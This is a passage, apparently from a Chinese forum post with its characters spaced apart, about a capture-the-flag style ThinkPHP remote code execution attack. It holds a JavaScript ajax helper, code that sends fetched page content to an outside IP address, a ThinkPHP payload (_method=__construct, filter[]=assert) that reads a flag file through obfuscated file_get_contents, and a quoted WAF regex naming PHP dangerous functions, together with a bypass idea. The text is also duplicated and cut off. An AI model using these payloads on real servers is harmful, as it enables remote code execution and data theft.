)   | |   x h r . s t a t u s   = =   3 0 4 )   {                                               s u c c e s s ( x h r . r e s p o n s e T e x t ) ;                                     }   e l s e   {                                               e r r o r ( x h r . s t a t u s ,   x h r . s t a t u s T e x t ) ;                                     }                             }                     } ;                       / /                       x h r . s e n d ( t y p e   = = =   " g e t "   ?   n u l l   :   d a t a ) ;                       s e t T i m e ( ) ;   / /             }               v a r   u r l   =   o p t i o n s . u r l   | |   " " ,   / /                       t y p e   =   ( o p t i o n s . t y p e   | |   " g e t " ) . t o L o w e r C a s e ( ) ,   / / , g e t                       d a t a   =   o p t i o n s . d a t a   | |   n u l l ,   / /                       c o n t e n t T y p e   =   o p t i o n s . c o n t e n t T y p e   | |   " " ,   / /                       d a t a T y p e   =   o p t i o n s . d a t a T y p e   | |   " " ,   / /                       a s y n c   =   o p t i o n s . a s y n c   = = =   u n d e f i n e d   ?   t r u e   :   o p t i o n s . a s y n c ,   / / t r u e .                       t i m e O u t   =   o p t i o n s . t i m e O u t ,   / /                       b e f o r e   =   o p t i o n s . b e f o r e   | |   f u n c t i o n ( )   { } ,   / /                       e r r o r   =   o p t i o n s . e r r o r   | |   f u n c t i o n ( )   { } ,   / /                       s u c c e s s   =   o p t i o n s . s u c c e s s   | |   f u n c t i o n ( )   { } ;   / /               v a r   t i m e o u t _ b o o l   =   f a l s e ,   / /                       t i m e o u t _ f l a g   =   n u l l ,   / /                       x h r   =   n u l l ;   / / x h r               s e t D a t a ( ) ;               b e f o r e ( ) ;               i f   ( d a t a T y p e   = = =   " j s o n p " )   {                       c r e a t e J s o n p ( ) ;             }   e l s e   {                       c r e a t e X H R ( ) ;             }     }       w i n d o w . a j a x   =   a j a x ; } ) ( w i n d o w ) ; u r l   =   " h t t p : / / l o c a l h o s t : 8 0 8 0 / " h t m l c o n t e n t   =   " " a j a x ( {       u r l : u r l ,       t y p e : ' g e t ' ,       a s y n c : f a l s e ,       s u c c e s s : f u n c t i o n ( r e s u l t ) {               c o n s o l e . l o g ( r e s u l t ) ;               h t m l c o n t e n t = r e s u l t ;     } } ) ; v a r   p u r l   =   " h t t p : / / 1 8 . 1 6 3 . 9 1 . 2 5 2 / i n d e x . p h p ? a c t i o n = w e b s i t e & s u b m i t = c o p y & u r l = h t t p % 3 a % 2 f % 2 f w w w . b e r t r a m c . c n % 3 a 9 9 9 9 % 2 f % 3 f h t m l c o n t e n t = " + e s c a p e ( e s c a p e ( h t m l c o n t e n t . t o S t r i n g ( ) . s u b s t r i n g ( 0 , 1 0 0 0 ) ) ) ; c o n s o l e . l o g ( p u r l ) ; a j a x ( {       u r l : p u r l ,       t y p e : ' g e t ' ,       a s y n c : t r u e ,       s u c c e s s : f u n c t i o n ( r e s u l t ) {               c o n s o l e . l o g ( ) ;     } } ) ; T H I N K P H P R C E , p a y l o a d W A F W A F W A F W A F T H I N K P H P ( i n v o k e f u n c t i o n | c a l l _ u s e r _ f u n c _ a r r a y | t h i n k ) P H P 2
( ? : d e f i n e | e v a l | f i l e | f i l e _ g e t _ c o n t e n t s | c o p y | c a l l _ u s e r _ f u n c | i n c l u d e | r e q u i r e | r e q u i r e _ o n c e | s h e l l _ e x e c | p h p i n f o | s y s t e m | p a s s t h r u | c h a r | c h r | p r e g _ w + | e x e c u t e | e c h o | p r i n t | p r i n t _ r | v a r _ d u m p | [ f p ] o p e n | a l e r t | s h o w m o d a l d i a l o g ) c o p y c a l l _ u s e r _ f u n c p a y l o a d ( f u n c t i o n ( w i n d o w , u n d e f i n e d )   {         f u n c t i o n   a j a x ( o p t i o n s )   {                 / /                 f u n c t i o n   s e t D a t a ( )   {                         / /                         f u n c t i o n   s e t O b j D a t a ( d a t a ,   p a r e n t N a m e )   {                                 f u n c t i o n   e n c o d e D a t a ( n a m e ,   v a l u e ,   p a r e n t N a m e )   {                                         v a r   i t e m s   =   [ ] ;                                         n a m e   =   p a r e n t N a m e   = = =   u n d e f i n e d   ?   n a m e   :   p a r e n t N a m e   +   " [ "   +   n a m e   +   " ] " ;                                         i f   ( t y p e o f   v a l u e   = = =   " o b j e c t "   & &   v a l u e   ! = =   n u l l )   {                                                 i t e m s   =   i t e m s . c o n c a t ( s e t O b j D a t a ( v a l u e ,   n a m e ) ) ;                                         }   e l s e   {                                                 n a m e   =   e n c o d e U R I C o m p o n e n t ( n a m e ) ;                                                 v a l u e   =   e n c o d e U R I C o m p o n e n t ( v a l u e ) ;                                                 i t e m s . p u s h ( n a m e   +   " = "   +   v a l u e ) ;                                         }                                         r e t u r n   i t e m s ;                                 }                                 v a r   a r r   =   [ ] , v a l u e ;                                 i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   A r r a y ] ' )   {                                         f o r   ( v a r   i   =   0 ,   l e n   =   d a t a . l e n g t h ;   i   <   l e n ;   i + + )   {                                                 v a l u e   =   d a t a [ i ] ;                                                 a r r   =   a r r . c o n c a t ( e n c o d e D a t a (   t y p e o f   v a l u e   = =   " o b j e c t " ? i : " " ,   v a l u e ,   p a r e n t N a m e ) ) ;                                         }                                 }   e l s e   i f   ( O b j e c t . p r o t o t y p e . t o S t r i n g . c a l l ( d a t a )   = =   ' [ o b j e c t   O b j e c t ] ' )   {                                         f o r   ( v a r   k e y   i n   d a t a )   {                                                 v a l u e   =   d a t a [ k e y ] ;                                                 a r r   =   a r r . c o n c a t ( e n c o d e D a t a ( k e y ,   v a l u e ,   p a r e n t N a m e ) ) ;                                         }                                 }                                 r e t u r n   a r r ;                         } ;                         / / a = 1 & b = 2 ;                         f u n c t i o n   s e t S t r D a t a ( d a t a )   {                                 v a r   a r r   =   d a t a . s p l i t ( " & " ) ;                                 f o r   ( v a r   i   =   0 ,   l e n   =   a r r . l e n g t h ;   i   <   l e n ;   i + + )   {                                         n a m e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 0 ] ) ;                                         v a l u e   =   e n c o d e U R I C o m p o n e n t ( a r r [ i ] . s p l i t ( " = " ) [ 1 ] ) ;                                         a r r [ i ]   =   n a m e   +   " = "   +   v a l u e ;                                 }                                 r e t u r n   a r r ;                         }                         i f   ( d a t a )   {                                 i f   ( t y p e o f   d a t a   = = =   " s t r i n g " )   {                                         d a t a   =   s e t S t r D a t a ( d a t a ) ;                                 }   e l s e   i f   ( t y p e o f   d a t a   = = =   " o b j e c t " )   {                                         d a t a   =   s e t O b j D a t a ( d a t a ) ;                                 }                                 d a t a   =   d a t a . j o i n ( " & " ) . r e p l a c e ( " / % 2 0 / g " ,   " + " ) ;                                 / / 使 g e t J S O N P U R L                                 i f   ( t y p e   = = =   " g e t "   | |   d a t a T y p e   = = =   " j s o n p " )   {                                         u r l   + =   u r l . i n d e x O f ( " ? " )   >   - 1   ?   ( u r l . i n d e x O f ( " = " )   >   - 1   ?   " & "   +   d a t a   :   d a t a )   :   " ? "   +   d a t a ;                                 }                         }                 }                 / /   J S O N P                 f u n c t i o n   c r e a t e J s o n p ( )   {                         v a r   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ,                                 t i m e N a m e   =   n e w   D a t e ( ) . g e t T i m e ( )   +   M a t h . r o u n d ( M a t h . r a n d o m ( )   *   1 0 0 0 ) ,                                 c a l l b a c k   =   " J S O N P _ "   +   t i m e N a m e ;                         w i n d o w [ c a l l b a c k ]   =   f u n c t i o n ( d a t a )   {                                 c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                                 d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                                 s u c c e s s ( d a t a ) ;                         }                         s c r i p t . s r c   =   u r l   +   ( u r l . i n d e x O f ( " ? " )   >   - 1   ?   " & "   :   " ? " )   +   " c a l l b a c k = "   +   c a l l b a c k ;                         s c r i p t . t y p e   =   " t e x t / j a v a s c r i p t " ;                         d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;                         s e t T i m e ( c a l l b a c k ,   s c r i p t ) ;                 }                 / /                 f u n c t i o n   s e t T i m e ( c a l l b a c k ,   s c r i p t )   {                         i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                                 t i m e o u t _ f l a g   =   s e t T i m e o u t ( f u n c t i o n ( )   {                                         i f   ( d a t a T y p e   = = =   " j s o n p " )   {                                                 d e l e t e   w i n d o w [ c a l l b a c k ] ;                                                 d o c u m e n t . b o d y . r e m o v e C h i l d ( s c r i p t ) ;                                         }   e l s e   {                                                 t i m e o u t _ b o o l   =   t r u e ;                                                 x h r   & &   x h r . a b o r t ( ) ;
                                        }                                         c o n s o l e . l o g ( " t i m e o u t " ) ;                                 } ,   t i m e O u t ) ;                         }                 }                 / /   X H R                 f u n c t i o n   c r e a t e X H R ( )   {                         / / I E 6 X M L H t t p R e q u e s t M S X M L A c t i v e X                         / / X H R                         f u n c t i o n   g e t X H R ( )   {                                 i f   ( w i n d o w . X M L H t t p R e q u e s t )   {                                         r e t u r n   n e w   X M L H t t p R e q u e s t ( ) ;                                 }   e l s e   {                                         / / I E A c t i v e X                                         v a r   v e r s i o n s   =   [ " M i c r o s o f t " ,   " m s x m 3 " ,   " m s x m l 2 " ,   " m s x m l 1 " ] ;                                         f o r   ( v a r   i   =   0 ;   i   <   v e r s i o n s . l e n g t h ;   i + + )   {                                                 t r y   {                                                         v a r   v e r s i o n   =   v e r s i o n s [ i ]   +   " . X M L H T T P " ;                                                         r e t u r n   n e w   A c t i v e X O b j e c t ( v e r s i o n ) ;                                                 }   c a t c h   ( e )   { }                                         }                                 }                         }                         / /                         x h r   =   g e t X H R ( ) ;                         x h r . o p e n ( t y p e ,   u r l ,   a s y n c ) ;                         / /                         i f   ( t y p e   = = =   " p o s t "   & &   ! c o n t e n t T y p e )   {                                 / / p o s t c o n t e n t - T y p e   a p p l i c a t i o n / x - w w w - f o u r - u r l e n c o d e d                                 x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ; c h a r s e t = U T F - 8 " ) ;                         }   e l s e   i f   ( c o n t e n t T y p e )   {                                 x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   c o n t e n t T y p e ) ;                         }                         / /                         x h r . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                                 i f   ( x h r . r e a d y S t a t e   = = =   4 )   {                                         i f   ( t i m e O u t   ! = =   u n d e f i n e d )   {                                                 / / a b o r t ( ) o n r e a d y s t a t e c h a n g e                                                 / / t i m e o u t _ b o o l                                                 i f   ( t i m e o u t _ b o o l )   {                                                         r e t u r n ;                                                 }                                                 c l e a r T i m e o u t ( t i m e o u t _ f l a g ) ;                                         }                                         i f   ( ( x h r . s t a t u s   > =   2 0 0   & &   x h r . s t a t u s   <   3 0 0 )   | |   x h r . s t a t u s   = =   3 0 4 )   {                                                 s u c c e s s ( x h r . r e s p o n s e T e x t ) ;                                         }   e l s e   {                                                 e r r o r ( x h r . s t a t u s ,   x h r . s t a t u s T e x t ) ;                                         }                                 }                         } ;                         / /                         x h r . s e n d ( t y p e   = = =   " g e t "   ?   n u l l   :   d a t a ) ;                         s e t T i m e ( ) ;   / /                 }                 v a r   u r l   =   o p t i o n s . u r l   | |   " " ,   / /                         t y p e   =   ( o p t i o n s . t y p e   | |   " g e t " ) . t o L o w e r C a s e ( ) ,   / / , g e t                         d a t a   =   o p t i o n s . d a t a   | |   n u l l ,   / /                         c o n t e n t T y p e   =   o p t i o n s . c o n t e n t T y p e   | |   " " ,   / /                         d a t a T y p e   =   o p t i o n s . d a t a T y p e   | |   " " ,   / /                         a s y n c   =   o p t i o n s . a s y n c   = = =   u n d e f i n e d   ?   t r u e   :   o p t i o n s . a s y n c ,   / / t r u e .                         t i m e O u t   =   o p t i o n s . t i m e O u t ,   / /                         b e f o r e   =   o p t i o n s . b e f o r e   | |   f u n c t i o n ( )   { } ,   / /                         e r r o r   =   o p t i o n s . e r r o r   | |   f u n c t i o n ( )   { } ,   / /                         s u c c e s s   =   o p t i o n s . s u c c e s s   | |   f u n c t i o n ( )   { } ;   / /                 v a r   t i m e o u t _ b o o l   =   f a l s e ,   / /                         t i m e o u t _ f l a g   =   n u l l ,   / /                         x h r   =   n u l l ;   / / x h r                 s e t D a t a ( ) ;                 b e f o r e ( ) ;                 i f   ( d a t a T y p e   = = =   " j s o n p " )   {                         c r e a t e J s o n p ( ) ;                 }   e l s e   {                         c r e a t e X H R ( ) ;                 }         }         w i n d o w . a j a x   =   a j a x ;     } ) ( w i n d o w ) ; u r l   =   " h t t p : / / l o c a l h o s t : 8 0 8 0 / ? s = i n d e x " d a t a   =   { " _ m e t h o d " : " _ _ c o n s t r u c t " ,                 " f i l t e r [ ] " : " a s s e r t " ,                 " m e t h o d " : " g e t " ,                 " g e t [ ] " : " d i e ( ( n e w   R e f l e c t i o n F u n c t i o n ( ' f i ' . ' l e _ g e t _ c o n t e n t ' . ' s ' ) ) - > i n v o k e ( ' / v a r / w w w / h t m l / f l a g ' ) ) " } h t m l c o n t e n t   =   " " a j a x ( {         u r l : u r l ,
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则